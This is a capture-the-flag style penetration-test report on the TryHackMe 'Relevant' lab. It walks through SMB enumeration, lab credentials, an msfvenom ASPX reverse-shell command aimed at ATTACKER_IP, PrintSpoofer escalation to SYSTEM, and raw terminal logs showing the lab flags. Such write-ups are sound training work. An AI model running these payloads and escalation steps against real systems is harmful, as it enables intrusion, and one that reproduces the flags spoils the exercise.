Penetration Test Report – Relevant (TryHackMe)

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Assessment Type: Black-Box Penetration Test

Executive Summary

A penetration test was conducted against a Windows-based system hosted in a TryHackMe lab environment. The assessment identified a chain of critical misconfigurations involving SMB services, insecure file share permissions, and excessive user privileges, ultimately allowing full system compromise.

The attack began with the enumeration of SMB services (port 445) and MSRPC (port 49663), which revealed valid user credentials. These credentials provided access to a writable network share (nt4wrksv) that was directly exposed via the web server. By leveraging this misconfiguration, a malicious ASPX payload was uploaded and executed, resulting in remote code execution.

Further analysis identified the presence of SeImpersonatePrivilege, which was abused using PrintSpoofer to escalate privileges to NT AUTHORITY\SYSTEM.

Scope

Target IP: 10.145.139.199
Environment: TryHackMe Lab
Testing Methodology: External Black-Box Testing

Methodology

- Reconnaissance & Enumeration
- Vulnerability Identification
- Exploitation
- Post-Exploitation & Impact Analysis

Findings Summary

Critical: Writable SMB Share Leading to Remote Code Execution
Critical: Privilege Escalation via SeImpersonatePrivilege

Detailed Findings

1. Writable SMB Share Leading to Remote Code Execution

Severity: Critical
Ports: 445 (SMB), 80 (HTTP), 49663 (MSRPC)

Description:
The target exposed a writable SMB share (nt4wrksv) mapped to a web-accessible directory, allowing file upload and execution.

Enumeration:
nmap -sC -sV -T4 -p- 10.145.139.199

Discovered Ports:
80 (HTTP), 135 (MSRPC), 139 (NetBIOS), 445 (SMB), 49663 (MSRPC)

Credential Discovery:
rpcclient -U "" 10.145.139.199
enumdomusers

Users Found:
Bob
Bill

Credential Validation:
crackmapexec smb 10.145.139.199 -u Bob -p '!P@$$W0rD!123'
crackmapexec smb 10.145.139.199 -u Bill -p 'Juw4nnaM4n420696969!$$$'

SMB Access:
smbclient //10.145.139.199/nt4wrksv -U Relevant/Bob
put evil.aspx

Payload Creation:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f aspx > evil.aspx

Execution:
curl http://10.145.139.199/nt4wrksv/evil.aspx

Result:
Remote shell obtained.

2. Privilege Escalation via SeImpersonatePrivilege
Severity: Critical

Enumeration:
whoami /priv

Key Finding:
SeImpersonatePrivilege Enabled

Exploitation:
PrintSpoofer64.exe -i -c cmd

Result:
SYSTEM access achieved (nt authority\system)

Post-Exploitation

User Flag:
C:\Users\Bob\Desktop\user.txt

Root Flag:
C:\Users\Administrator\Desktop\root.txt

Impact
Full system compromise achieved including SYSTEM-level access.

Risk Assessment
Likelihood: High
Impact: Critical
Overall Risk: Critical

Remediation
- Restrict SMB share permissions
- Remove web exposure of shares
- Enforce least privilege
- Patch privilege escalation vectors

Conclusion
The system is critically vulnerable due to chained misconfigurations, allowing full compromise from initial access to SYSTEM-level control.

Tools Used
- Nmap
- rpcclient
- CrackMapExec
- smbclient
- msfvenom
- Netcat
- PrintSpoofer

```
c:\windows\system32\inetsrv>cd C:\inetpub\wwwroo
cd C:\inetpub\wwwroot\nt4wrksv

C:\inetpub\wwwroot\nt4wrksv>PrintSpoofer64.exe -
PrintSpoofer64.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reser

C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>type C:\Users\Administrator\
type C:\Users\Administrator\Desktop\root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
C:\Windows\system32>
```

```
c:\windows\system32\inetsrv>type C:\Users\Bob\Des
type C:\Users\Bob\Desktop\user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
c:\windows\system32\inetsrv>whoami
whoami
iis apppool\defaultapppool

c:\windows\system32\inetsrv>
```

```
Finished
================================================
root@ip-10-145-99-225:~# crackmapexec smb 10.145
'Juw4nnaM4n420696969!$$$' --shares
SMB         10.145.170.122  445    RELEVANT
er 2016 Standard Evaluation 14393 x64 (name:RELE
nt) (signing:False) (SMBv1:True)
SMB         10.145.170.122  445    RELEVANT
Juw4nnaM4n420696969!$$$
MB          10.145.170.122  445    RELEVANT
res
SMB         10.145.170.122  445    RELEVANT
Permissions     Remark
SMB         10.145.170.122  445    RELEVANT
-----------     ------
SMB         10.145.170.122  445    RELEVANT
                Remote Admin
SMB         10.145.170.122  445    RELEVANT
                Default share
SMB         10.145.170.122  445    RELEVANT
                Remote IPC
SMB         10.145.170.122  445    RELEVANT
READ,WRITE
```